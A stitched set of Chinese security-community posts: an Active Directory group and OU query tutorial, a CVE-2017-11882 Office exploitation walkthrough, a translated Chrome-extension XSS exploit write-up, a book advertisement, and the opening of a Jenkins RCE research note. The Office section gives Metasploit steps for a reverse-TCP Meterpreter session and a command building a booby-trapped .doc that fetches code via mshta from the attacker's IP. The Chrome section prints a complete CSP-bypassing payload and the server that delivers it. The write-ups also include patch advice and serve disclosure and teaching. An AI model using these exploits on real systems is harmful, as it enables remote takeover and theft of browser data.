比如说，我们要定位所有的user 类的实例。(CN=jane,CN=Users,DC=test,DC=local就是user类的一个对象)
user 类的继承关系如下。
top => person => organizationalPerson => user
那person,organizationalPerson,user都将其defaultObjectCategory设置为person。因此我们可以先过滤。
(objectCategory=person)
但是这样的结果并不精准。我们使用objectClass进一步在过滤后的结果进行过滤
(&(objectCategory=person)(objectClass=user))
这样就能精准匹配到了。其实说通俗点就是，objectCategory建立索引，所以查询时间比较快。我们通过objectCategory划分一个大的范围，然后通过objectClass进行精准匹配。
当然如果在目录中已经索引了ObjectClass ，或者所有域控制器都在运行Windows Server 2008或更高版本，我们直接使用
objectClass((objectClass=user))也能很精准地匹配并且不用考虑效率问题。
## 0x01 组
### 1\. 组介绍
在域内，我们无时无刻不在跟组打交道，比如我们熟悉的域管，就是一个组。按照用途来分，组分为通讯组和安全组。对于通讯组，我们接触的比较多的就是邮件组，将若干个人划分到一个通讯组，给这个通讯组发件，那组内用户都能收到。但是通讯组不能控制对资源的访问，我们并不是很在意。这篇文章侧重介绍安全组。
安全组是权限的集合。举个例子，运维需要对公司的网络进行管理，需要一些特殊的管理权限，我们就可以设置个组，对组配置权限。然后将运维拉近组里面，组里面的运维就拥有了该权限。安全组可以根据作用范围划分为。
* 全局组 (Global group)
* 通用组(Universal group)
* 域本地组(Domain Local group)
### 2\. 查询组
所有的组都是group类的实例，
我们可以用(objectClass=group)或者(objectCategory=group)来过滤组。
如果需要考虑效率建议使用,正如前面所说objectCategory有建立索引。而objectClass在08之前并没有建立索引。
那为啥不需要objectClass 和objectCategory配合使用。
我们之前说了，一般配合使用的场景都是通过objectCategory匹配划分一个大的范围，然后通过objectClass进行精准匹配。这里面通过objectCategory匹配到的已经是很精准了，就不需要再精准匹配了。
组的类型由属性groupType决定，属性groupType是一个位字段
现在我们搜索一下
* 查询域内的所有组
* 域内的所有全局组
* 域内的所有通用组
* 域内的所有域本地组
* 域内的所有安全组，包括全局组，通用组，域本地组
* 域内的所有通讯组，不属于安全组的组都是通讯组
* 域内系统创建的群组
### 3\. 组范围
之前说过安全组可以根据作用范围划分为。
* 全局组 (Global group)
* 通用组(Universal group)
* 域本地组(Domain Local group)下面来详细介绍下
先看个表格，比较下三个组。
组类型 | 可以授予权限 | 可包含 | 可包含于 | 成员是否在全局编录复制
---|---|---|---|---
全局组 | 在同一林中或信任域或林中的任何域上。 | 来自同一域的帐户。 来自同一域的其他全局组 | 来自同一林中任何域的通用组。 来自同一域的其他全局组。
来自同一林中任何域或任何信任域的域本地组。 | 无
通用组 | 在同一林或信任林中的任何域上。 | 来自同一林中任何域的帐户。 来自同一林中任何域的全局组。 来自同一林中任何域的其他通用组。 |
同一林中的其他通用组。 在同一个林或信任林中域本地组。 | 是
域本地组 | 在同一个域中 | 来自任何域或任何受信任域的帐户。 来自任何域或任何受信任域的全局组。 来自同一林中任何域的通用组。
来自同一域的其他域本地组。 | 来自同一域的其他域本地组。 | 无
为了更直观，画了个图
接下来详细介绍下三个组
* 域本地组(Domain Local group)
顾名思义，就是本域内的本地组。不适用于林，适用于本域。可包含林内的账户，通用组，全局组。其他域内的通用组要在本域拥有权限，一般都是加入这个域的域本地组。比如说一个林里面，只有林根域有Enterprise
Admins这个组，这是个通用组。然后其他子域 的域本地组Administrators会把林根域的Enterprise
Admins加进里面，所以林根域的Enterprise
Admins组用户才在整个林内具备管理员权限。如果想要一个只允许访问同一个域中的资源的组，那么使用域本地组即可。
* 通用组(Universal group)
上面已经简单提过了通用组，典型例子是Enterprise
Admins这个组。在林的场景下比较有用。组内成员会在GC内复制。如果你想要一个可以访问林中任何东西的组，并且可以在林中包含任何账户，请使用通用组。
* 全局组 (Global group)
全局组比较复杂，前面说了。在单域内用域本地组，在林中使用通用组。全局组应该说是一种比较折中的方案，他可以在林中使用，但是只能包含本域内的账户。全局组的使用范围是本域以及受信任关系的其他域。最为常见的全局组是Domain
Admin，也就是我们常说的域管。因为全局组只能包含本域内账户，因此来自一个域的账户不能嵌套在另一个域中的全局组中，这就是为什么来自同一个域的用户不符合在外部域中的域管的成员资格（由于其全局范围的影响)。
### 4\. 常见组介绍
* Administrators
域本地组。具备系统管理员的权限，拥有对整个域最大的控制权，可以执行整个域的管理任务。Administrators包括Domain
Admins和Enterprise Admins。
* Domain Admins
全局组。我们常说的域管组。默认情况下，域内所有机器会把Domain Admins加入到本地管理员组里面。
* Enterprise Admins
通用组。在林中，只有林根域才有这个组，林中其他域没有这个组，但是其他域默认会把这个组加入到本域的Administrators里面去。
* Domain Users
全局组。包括域中所有用户帐户,在域中创建用户帐户后，该帐户将自动添加到该组中。默认情况下，域内所有机器会把Domain
Users加入到本地用户组里面，也就是为什么默认情况底下，啥都不配置。域用户可以登录域内任何一台普通成员机器。
更多的常见组，会在后续要使用到的时候进行介绍，这里不一一介绍了。
### 5\. AGDLP
安全组是权限的集合，所以在微软的建议中，并不建议给赋予单个用户权限，而是赋予一个组权限，然后将成员拉近组。下面介绍下AGDLP策略。这里直接用网上的图。
* A表示用户账号，Account
* G表示全局组，Global group
* U表示通用组，Universal Group
* L表示本地组， local group
* DL表示域本地组，Domain local group
* P表示资源权限，Resource Permissions
有常见的几种权限划分方式
* AGP，将用户账户添加到全局组，然后赋予全局组权限
* AGLP，将用户账户添加到全局组，将全局组添加到本地组， 然后赋予本地组权限
* ADLP 将用户账户添加到域本地组，然后赋予域本地组权限
* AGDLP，将用户账户添加到全局组，将全局组添加到域本地组， 然后赋予域本地组权限
* AGUDLP，将用户账户添加到全局组，将全局组添加到通用组，将通用组添加到域本地组， 然后赋予域本地组权限
### 6\. 查询组内用户以及用户所属的组
如果group4 是group2 组内的成员
那么group2有个属性member 标识group4是它的成员。
group4有个属性memberOf 标识它是group2的成员
根据这两个属性，我们就可以开始过滤了。
我们举个例子。
在我们有四个组(group1,group2,group3,group4)，一个用户(it-1)。
上面箭头意思是组成员
group1 这个组里面有一个成员group2
group2 这个组里面有两个个成员group4和it-1
group3 这个组里面有一个成员it-1
那我们开始进行搜索。
（1） 查看group2有哪些成员
最简单的，查看group2 这个对象的member属性
或者过滤memberOf为group2的所有对象
(2) 查看it-1 属于哪些组
最简单的，查看it-1 这个对象的memberOf属性
或者过滤member为it-1的所有对象
(3) 查看group1有哪些成员，这些成员如果是组，就继续查下去，知道非组成员为止。
上面两个都比较好理解，接下来，我们来分析一下。
在这里
如果仅仅是查group1有哪些成员,那就只有group2，但是我们现在的需求是递归查下去，group2也是一个组，组内又有哪些成员。从图中我们可以看出有group2,group4,it-1
这里LDAP 给我们提供一个特性，也是位操作符的一部分。BitFilterRule-ID 为1.2.840.113556.1.4.1941.在adfind
里面可以用INCHAIN简化。
现在我们开始查group1的所有成员，以及成员的成员,…。
(4) 查看it-1 属于哪些组，这些组又属于哪些组，如此往上递归查询，直到这个组不属于其他组。
## 0x02 组织单位(Organization Unit)
### 1\. OU介绍
组织单位(Organization
Unit)，简称OU，是一个容器对象，将域中的对象组织成逻辑组，帮助网络管理员简化管理组。组织单位包含下列类型的对象：用户，计算机，工作组，打印机，安全策略，其他组织单位等。可以在组织单位基础上部署组策略，统一管理组织单位中的域对象。
在企业域环境里面，我们经常看到按照部分划分的一个个OU。
### 2\. OU跟容器的区别
组织单位（OU）是专用容器，与常规容器的区别在于管理员可以将组策略应用于OU，然后系统将其下推到OU中的所有计算机。您不能将组策略应用于容器。需要注意的是Domain
Computers是一个普通容器，而Domain Controllers是一个OU，因此可以可以将组策略应该于Domain
Controllers，不可以将组策略应用于Domain Computers。关于更多组策略的内容，我们后面会专门有一篇文章介绍组策略。
PS：上面说的Domain Computers和Domain Controllers特指根域的,不是User容器底下的，那个是组
### 3\. OU跟组的区别
组织单位跟组是两个完全不同的概念。很多人经常会把这两个弄混。组是权限的集合。OU是管理对象的集合。举个前面举过的例子，运维需要对公司的网络进行管理，需要一些特殊的管理权限，我们就可以设置个组，对组配置权限。然后将运维拉近组里面，组里面的运维就拥有了该权限。比如我们需要对财务部里面的用户进行统一管理，那我们可以设置个OU，然后把财务部的用户拉近这个OU，这样就可以进行集中管理，比如说下发组策略。说通俗点，组是管理的集合，OU是被管理的集合。关于权限的更多内容，后面会有一篇文章专门介绍。
### 4\. OU委派
考虑这样一种需求，如果我们想允许某个用户把其他用户拉近OU，而不赋予这个用户域管权限，我们可以在这个OU给这个用户委派
添加成员的权限。组织单位的委派其实就是赋予某个域内用户对OU的某些管理权限。这些权限体现在ACL里面。
### 5\. 查询OU
所有的OU都是organizationalUnit类的实例，
我们可以用(objectClass=organizationalUnit)或者(objectCategory=organizationalUnit)来过滤OU。
查询OU里面的账户，可以指定BaseDN为OU就行
## 0x03 引用
* [Filtering for Bit Fields](%5Bhttps://ldapwiki.com/wiki/Filtering%20for%20Bit%20Fields%5D\(https://ldapwiki.com/wiki/Filtering%20for%20Bit%20Fields\))
* [Active Directory Schema (AD Schema)](https://docs.microsoft.com/zh-cn/windows/win32/adschema/rootdse)
* [AD活动目录中什么是AGDLP策略](https://blog.51cto.com/ilanni/557207)
* [Active Directory: LDAP Syntax Filters](https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx)
* [A Pentester’s Guide to Group Scoping](http://www.harmj0y.net/blog/activedirectory/a-pentesters-guide-to-group-scoping/) | 社区文章 |
**前言**
2017年11月14日，微软发布了11月份的安全补丁更新，其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞（CVE-2017-11882）。该漏洞为Office内存破坏漏洞，影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。
由于漏洞影响面较广，漏洞披露后，金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日，监控到了已有漏洞POC在网上流传，随即迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。
* * *
**漏洞影响版本：**
Office 365
Microsoft Office 2000
Microsoft Office 2003
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1
Microsoft Office 2016
攻击机：kali Linux 2017.03
攻击机IP：192.168.137.130
靶机：win7
含有漏洞的Office版本：Office 2016
* * *
**利用复现过程**
下载安装office 2016：直接上msdn.itellyou.cn下载，安装在靶机上
种子链接：
ed2k://|file|cn_office_professional_plus_2016_x86_x64_dvd_6969182.iso|2588266496|27EEA4FE4BB13CD0ECCDFC24167F9E01|/
下载POC代码到渗透机（用此验证漏洞的存在）
<https://pan.baidu.com/s/1jeiN1pm78Jh-sMS3gmlXyg> 提取码：m6gjo
下载rb文件到渗透机
<https://pan.baidu.com/s/15nURrik3Sk5FXXd8Motx4w> 提取码：t1hz
这里都下载到桌面CVE-2017-11882文件夹
**在Kali上构造带有shell后门的word文件，并开启监听：**
将CVE-2017-11882.rb拷贝到metasploit目录中，这里拷贝到目录/usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp
~/Desktop/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb
root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# ls
**进入Metasploit框架，搜索CVE-2017-11882:**
root@kali:~# msfconsole
msf > search CVE-2017-11882
**使用CVE-2017-11882.rb模块，开启Meterpreter监听会话：**
使用模块：msf > use exploit/windows/smb/CVE-2017-11882
设置tcp反弹对话：msf exploit(CVE-217-11882) > set payload
windows/meterpreter/reverse_tcp
设置渗透机ip地址（这里通过ifconfig命令查看）:
msf exploit(CVE-2017-11882) > set lhost 192.168.137.130
设置路径为11882：msf exploit(CVE-2017-11882) > set uripath 11882
**开启渗透，进入监听状态：**
msf exploit(CVE-2017-11882) > exploit
使用CVE-2017-11882.py模块，生成带有shell的doc文件：
root@Kali:~/Desktop/CVE-2017-11882/# python CVE-2017-11882.py -c "mshta
<http://192.168.137.130:8080>" -o 11882-3.doc
此时，CVE-2017-11882目录中增加了另外一个word文件11882-3，而此文件的功能是：打开它的电脑会反弹shell会话到控制机,将11882-3.doc拷贝到靶机win7上
在Win7打开11882-3.doc文件，此时观察Win7靶机和Kali Linux渗透机：
当靶机打开文件时，整个过程没有任何弹框，也没有其他异常动作。
**此时，在另一段的Kali Linux渗透机，已经获取到shell会话：**
**通过命令sessions查看meterpreter会话：**
msf exploit(CVE-2017-11882) > sessions
**此后便可以通过meterpreter来对会话进行管理：**
进入会话：msf exploit(CVE-2017-11882) > sessions 1
查看系统信息：meterpreter > sysinfo
查看当前用户：meterpreter > getuid
截屏：meterpreter > screenshot
可以看到，安装了最新office
2016版本的win7，因为CVE-2017-11882漏洞，当打开带有shell后门的doc文件时，kali渗透机可以获取到完美的后门并控制win7。
* * *
**漏洞修复**
1.下载微软对此漏洞补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>并且开启自动更新功能
2.在注册表中禁用该漏洞模块
reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM
Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags"
/t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM
Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags"
/t REG_DWORD/d 0x400 | 社区文章 |
注意：此帖与先前的Chrome扩展漏洞略有不同。我在文中实际展示了漏洞利用的代码，并分析如何通过扩展程序进行跟踪。
在扫描各种Chrome扩展程序时，我发现流行的Chrome扩展程序视频下载程序适用于`Chrome 5.0.0.12`版（820万用户）和`Video
Downloader
Plus`（730万用户）并在浏览器操作中遇到了`XSS`漏洞页。要做到利用这些扩展插件，我们只需要让受害者导航到攻击者控制的页面即可。
导致此漏洞的原因是使用了字符串连接来构建`HTML`，该`HTML`通过`jQuery`动态附加到`DOM`中。攻击者可以创建一个专门的链接，并在扩展的上下文中执行任意`JavaScript`。利用此漏洞，攻击者可以滥用扩展程序并获得以下权限：
"permissions": [
"alarms",
"contextMenus",
"privacy",
"storage",
"cookies",
"tabs",
"unlimitedStorage",
"webNavigation",
"webRequest",
"webRequestBlocking",
"http://*/*",
"https://*/*",
"notifications"
],
利用上述权限，攻击者可以转储浏览器的`cookie`并拦截所有浏览器请求，之后经过身份验证的用户将与所有站点进行通信。
### 漏洞详情
此漏洞的核心是以下代码：
vd.createDownloadSection = function(videoData) {
return '<li class="video"> \
<a class="play-button" href="' + videoData.url + '" target="_blank"></a> \
<div class="title" title="' + videoData.fileName + '">' + videoData.fileName + '</div> \
<a class="download-button" href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\
<div class="sep"></div>\
</li>';
};
这是一个教科书的`XSS`攻击的代码的示例。 扩展程序从我们的攻击者控制页面中提取这些视频链接，并直接对其进行利用。
然而，正如例子演示的情况一样，现实世界的情况要复杂得多。 这篇文章将介绍一些防御模块，并展示它们是如何被绕过的。 我们将从输入的位置开始，并进行功能追踪。
### 路径详情
该扩展程序使用脚本从页面链接（标签）和视频（<video>标签）中收集可能的视频`URL`。
脚本使用了`JavaScript`代码。在运行用户访问过的浏览器页面后，我们得到了扩展程序的内容脚本：</video>
vd.getVideoLinks = function(node) {
// console.log(node);
var videoLinks = [];
$(node)
.find('a')
.each(function() {
var link = $(this).attr('href');
var videoType = vd.getVideoType(link);
if (videoType) {
videoLinks.push({
url: link,
fileName: vd.getLinkTitleFromNode($(this)),
extension: '.' + videoType
});
}
});
$(node)
.find('video')
.each(function() {
// console.log(this);
var nodes = [];
// console.log($(this).attr('src'));
$(this).attr('src') ? nodes.push($(this)) : void 0;
// console.log(nodes);
$(this)
.find('source')
.each(function() {
nodes.push($(this));
});
nodes.forEach(function(node) {
var link = node.attr('src');
if (!link) {
return;
}
var videoType = vd.getVideoType(link);
videoLinks.push({
url: link,
fileName: vd.getLinkTitleFromNode(node),
extension: '.' + videoType
});
});
});
return videoLinks;
};
从上面的代码中可以发现`videoLinks`和视频元素，并且在请求返回之前将信息收集到`videoLinks`数组中。
我们控制的`videoLinks`元素属性是`url`（从`href`属性中提取）和`fileName`（通过获取`title`属性、`alt`属性或节点的内部文本来拉取）。
由函数`vd.findVideoLinks`调用：
vd.findVideoLinks = function(node) {
var videoLinks = [];
switch (window.location.host) {
case 'vimeo.com':
vd.sendVimeoVideoLinks();
break;
case 'www.youtube.com':
break;
default:
videoLinks = vd.getVideoLinks(node);
}
vd.sendVideoLinks(videoLinks);
};
此调用发生在页面的加载过程：
vd.init = function() {
vd.findVideoLinks(document.body);
};
vd.init();
获取到所有的链接后，它们将通过`vd.sendVideoLinks`函数并发送到扩展程序的后台页面。 以下是在扩展的后台页面中声明的消息监听器：
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
switch (request.message) {
case 'add-video-links':
if (typeof sender.tab === 'undefined') {
break;
}
vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url);
break;
case 'get-video-links':
sendResponse(vd.getVideoLinksForTab(request.tabId));
break;
case 'download-video-link':
vd.downloadVideoLink(request.url, request.fileName);
break;
case 'show-youtube-warning':
vd.showYoutubeWarning();
break;
default:
break;
}
});
我们的例子关于`add-video-links`选项。在例子中，我们的`send.tab`没有未定义，因此它调用`vd.addVideoLinks`并删除之前删除的视频链接。
以下是`addVideoLinks`的代码：
vd.addVideoLinks = function(videoLinks, tabId, tabUrl) {
...trimmed for brevity...
videoLinks.forEach(function(videoLink) {
// console.log(videoLink);
videoLink.fileName = vd.getFileName(videoLink.fileName);
vd.addVideoLinkToTab(videoLink, tabId, tabUrl);
});
};
上面的代码检查它是否已经存储了此`tabId`的链接数据。 如果不是，它会创建一个新对象。
每条链接数据的`fileName`属性并通过`vd.getFileName`函数运行，该函数包括以下代码：
vd.getFileName = function(str) {
// console.log(str);
var regex = /[A-Za-z0-9()_ -]/;
var escapedStr = '';
str = Array.from(str);
str.forEach(function(char) {
if (regex.test(char)) {
escapedStr += char;
}
});
return escapedStr;
};
上述函数通过链接数据的`fileName`属性破坏了获取`DOM-XSS`的机会。 它将删除任何与正则表达式`[A-Za-z0-9()_
-]`不匹配的字符，但是其并不包括用于连接HTML中的属性的字符`"`。
`videoLink`被发送到`vd.addVideoLinkToTa`b函数，该函数如下：
vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) {
...trimmed for brevity...
if (!videoLink.size) {
console.log('Getting size from server for ' + videoLink.url);
vd.getVideoDataFromServer(videoLink.url, function(videoData) {
videoLink.size = videoData.size;
vd.addVideoLinkToTabFinalStep(tabId, videoLink);
});
} else {
vd.addVideoLinkToTabFinalStep(tabId, videoLink);
}
};
该脚本检查数据是否具有`size`属性。在未设置大小的情况下，它通过`vd.getVideoDataFromServer`获取链接位置处文件的大小：
vd.getVideoDataFromServer = function(url, callback) {
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState === 2) {
callback({
mime: this.getResponseHeader('Content-Type'),
size: this.getResponseHeader('Content-Length')
});
request.abort();
}
};
request.open('Get', url);
request.send();
};
上面的代码只是触发`XMLHTTPRequest`请求以获取指定链接上的文件头，并提取`Content-Type`和`Content-Length`头。
返回此数据，`Content-Length`标头的值用于设置`videoLinks`元素的`size`属性。
完成此操作后，结果将传递给`vd.addVideoLinkToTabFinalStep`：
vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) {
// console.log("Trying to add url "+ videoLink.url);
if (!vd.isVideoLinkAlreadyAdded(
vd.tabsData[tabId].videoLinks,
videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)
) {
vd.tabsData[tabId].videoLinks.push(videoLink);
vd.updateExtensionIcon(tabId);
}
};
在这里，我们开始遇到一些困难。我们希望将`URL`附加到`vd.tabsData[tabId].videoLinks`数组，然而这只会在我们传递以下条件时发生：
!vd.isVideoLinkAlreadyAdded(
vd.tabsData[tabId].videoLinks,
videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)
`vd.isVideoLinkAlreadyAdded`是一个简单的检验操作，以查看该URL是否已记录在`vd.tabsData[tabId].videoLinks`数组中。
第二项检查是`videoLink.size`大于`1024`。根据前文，这个值取自检索到的`Content-Length`标头。
为了通过此检查，我们创建了一个基本的`Python Tornado`服务器并创建了一个通配符路由并返回响应：
...trimmed for brevity...
def make_app():
return tornado.web.Application([
...trimmed for brevity...
(r"/.*", WildcardHandler),
])
...trimmed for brevity...
class WildcardHandler(tornado.web.RequestHandler):
def get(self):
self.set_header("Content-Type", "video/x-flv")
self.write( ("A" * 2048 ) )
...trimmed for brevity...
现在我们已经链接了那条路线。此时，无论我们的链路具体是什么，它总是会路由到一个返回`>1024`字节的页面。 这为我们提供了绕过过滤的方法。
下一项检查要求`vd.isVideoUrl`函数返回`true`，该函数的代码如下：
vd.videoFormats = {
mp4: {
type: 'mp4'
},
flv: {
type: 'flv'
},
mov: {
type: 'mov'
},
webm: {
type: 'webm'
}
};
vd.isVideoUrl = function(url) {
var isVideoUrl = false;
Object.keys(vd.videoFormats).some(function(format) {
if (url.indexOf(format) != -1) {
isVideoUrl = true;
return true;
}
});
return isVideoUrl;
};
这项检查相当简单。
它将检查内容确保`URL`中包含`mp4，flv，mov或webm`。我们可以通过将`.flv`附加到我们的`url`的payload的末尾来绕过此检查。
由于我们已成功满足条件的所有要求，因此我们的`url`会附加到`vd.tabsData[tabId].videoLinks`数组中。
跳转到包含上面显示的易受攻击函数的原始`popup.js`脚本，我们看到以下内容：
$(document).ready(function() {
var videoList = $("#video-list");
chrome.tabs.query({
active: true,
currentWindow: true
}, function(tabs) {
console.log(tabs);
vd.sendMessage({
message: 'get-video-links',
tabId: tabs[0].id
}, function(tabsData) {
console.log(tabsData);
if (tabsData.url.indexOf('youtube.com') != -1) {
vd.sendMessage({
message: 'show-youtube-warning'
});
return
}
var videoLinks = tabsData.videoLinks;
console.log(videoLinks);
if (videoLinks.length == 0) {
$("#no-video-found").css('display', 'block');
videoList.css('display', 'none');
return
}
$("#no-video-found").css('display', 'none');
videoList.css('display', 'block');
videoLinks.forEach(function(videoLink) {
videoList.append(vd.createDownloadSection(videoLink));
})
});
});
$('body').on('click', '.download-button', function(e) {
e.preventDefault();
vd.sendMessage({
message: 'download-video-link',
url: $(this).attr('href'),
fileName: $(this).attr('data-file-name')
});
});
});
单击扩展程序的浏览器图标时会触发上述代码。 该扩展程序会在Chrome扩展程序API中查询当前标签的元数据。 此选项卡的ID取自元数据，`get-video-links`调用将发送到后台页面。
这个代码只是`sendResponse（vd.getVideoLinksForTab（request.tabId））`; 它返回我们上面讨论的视频链接数据。
在处理视频链接并将每个视频链接传递给本文开头所示的`vd.createDownloadSection`函数后。我们会看到`HTML`构建了一个使用jQuery的`.append()`函数附加到DOM的字符串。将带有用户输入的原始HTML传递给`append()`是xss的具体应用点。
看来我们可以相对比较容易的将我们的`payload`发送到主机系统。然而 我们还有另一个需要克服的问题存在：`CSP`。
### CSP
有趣的是，此扩展的内容安全策略在其s`cript-src`指令中没有不安全的`eval`。 以下是扩展的详情：
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'
从上面的内容安全策略（CSP）中我们可以看到script-src如下：
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
此政策阻止我们访问任意网站，并禁止我们进行内联`JavaScript`声明（例如`<script>alert('XSS')</script>`。我们执行`JavaScript`的唯一方法是从以下某个网站获取资源：
<https://www.google-analytics.com>
<https://ssl.google-analytics.com>
<https://apis.google.com>
<https://ajax.googleapis.com>
当攻击者希望绕过CSP时，在`script-src`指令中我们可以看到`https://apis.google.com`和`https://ajax.googleapis.com`。
这些站点上托管了许多`JavaScript`库，以及`JSONP`端点 ，两者都可用于绕过内容安全策略。
注意：如果想查看网站是否是添加到CSP的不良来源，请查看CSP评估工具（具体到`@ we1x`）。
对于这个领域的一些先前攻击操作，[`H5SC Minichallenge 3: "Sh*t, it's
CSP!"`](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)
，攻击者必须在一个只有白名单`ajax.googeapis.com`的页面上实现`XSS`。 这一挑战与我们现在面临的情况非常相似。
"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert(1337
通过修改payload，我们也可以利用此扩展。 以下是使用此技术执行警报的payload（强制Chrome视频下载的XSS）：
"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--
下图显示了单击扩展名图标时我们的payload的触发情况：
我们现在在扩展程序的上下文中执行任意的`JavaScript`，并且可以使用扩展程序并访问`Chrome`扩展程序API。
但是，它要求用户在我们的恶意页面上单击扩展图标。 在构建漏洞利用时我们要将此意图隐藏起来。
回到`manifest.json`中，我们可以看到`web_accessible_resources`指令已设置为以下内容：
"web_accessible_resources": [
"*"
]
仅使用通配符意味着任何网页都可以加载 `<iframe>`并获取扩展中包含的资源。
在我们的示例中，我们要包含的资源是`popup.html`页面，该页面通常在用户单击扩展程序的图标时显示。
通过`iframing`此页面以及使用我们之前的payload，我们就得到有一个无需用户交互的漏洞利用方法：
最终的payload如下：
<!DOCTYPE html>
<html>
<body>
<a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>
<iframe src="about:blank" id="poc"></iframe>
<script>
setTimeout(function() {
document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
}, 1000);
</script>
</body>
</html>
上述代码为两部分，第一部分为在当前选项栏中设置`videoLinks`数组。 第二部分在一秒钟后触发并生成`iframe`的位置：`chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html`（弹出页面）。
攻击的最终结果如下：
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("""
<!DOCTYPE html>
<html>
<body>
<a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>
<iframe src="about:blank" id="poc"></iframe>
<script>
setTimeout(function() {
document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
}, 1000);
</script>
</body>
</html>
""")
class WildcardHandler(tornado.web.RequestHandler):
def get(self):
self.set_header("Content-Type", "video/x-flv")
self.write( ("A" * 2048 ) )
def make_app():
return tornado.web.Application([
(r"/", MainHandler),
(r"/.*", WildcardHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
### 防御方法
由于没有方法联系任何一位扩展所有者（各个Chrome扩展程序页面上的最小联系人详细信息）。
我联系了一些在Google上使用Chrome扩展程序安全性的开发者。 他们通知了扩展所有者，并努力对这些扩展进行修复。
这两个扩展的最新版本对上述内容已经进行了修复工作。
本文翻译自：https://thehackerblog.com/video-download-uxss-exploit-detailed/ | 社区文章 |
感谢：某某
[
本书通过大量极富针对性的实验，通过对常见的安全场景中解决方案的讲解，帮助读者全面掌握各种Android攻防实用技能
[下载地址](https://pan.baidu.com/s/1nvJIN6D) | 社区文章 |
声明：仅用于技术研究，不恰当使用造成的危害后果自负
### 简言
首先，文章里没有直接 rce 的exp，想要exp的大哥抱歉了23333
但是由于执行了 groovy 代码，所以瞎j2搞的话我也不知道会出啥问题
挖jenkins好几个月了，一直莫得比较好用的洞，12.05 公布越权动态调用就搞得心里痒痒，给重新挖了下，此文章写的比较随意，大佬轻喷，欢迎交流
### 分析过程
#### 先讲讲偷窥思路
从 orange 大佬12.20公布发现了一个 jenkins 未授权 rce 开始，我就一直在试图将其挖掘出来，一直到 1.16 大佬公布第一部分
Jenkins 动态路由利用这篇文章，才真正拿到触发链，不过到最后 groovy sandbox 绕过实在是不会了......
在 orange 的文章中，其实帮助最大的还是贴出了官方的一个漏洞通告链接（没有收集漏洞通报的良好习惯2333）和对 Descriptor 的理解还有利用
官方在 1.8 号公布了一个通告：<https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08>
大致讲的是 pipeline 这个插件里对groovy脚本进行解析的时候会出现 sandbox 被绕过的情况以及 REST API
也会直接访问到，但是他是需要 Overall/Read 权限的
这里我思考了一会儿，虽然这通告涉及到 bypass groovy sandbox，一定程度上和 RCE 有关联，但是它需要权限的。Overall/read
在jenkins 中属于比 ANONYMOUS 权限高一丁点的权限，但是它默认是 FALSE 的，就是默认配置安装的 Jenkins 是没有
Overall/read 权限的，不登录的情况下只有 ANONYMOUS 权限，然后呢我们需要的是一个未授权 RCE
，所以这里很有可能是一个最后的一个任意代码执行的地方，那么还得需要去寻找绕过权限检查的触发路由（这里我没有对 REST API 直接访问导致的 RCE
做研究）
在更早的时候，官方有通告如下：
<https://jenkins.io/security/advisory/2018-12-05/>
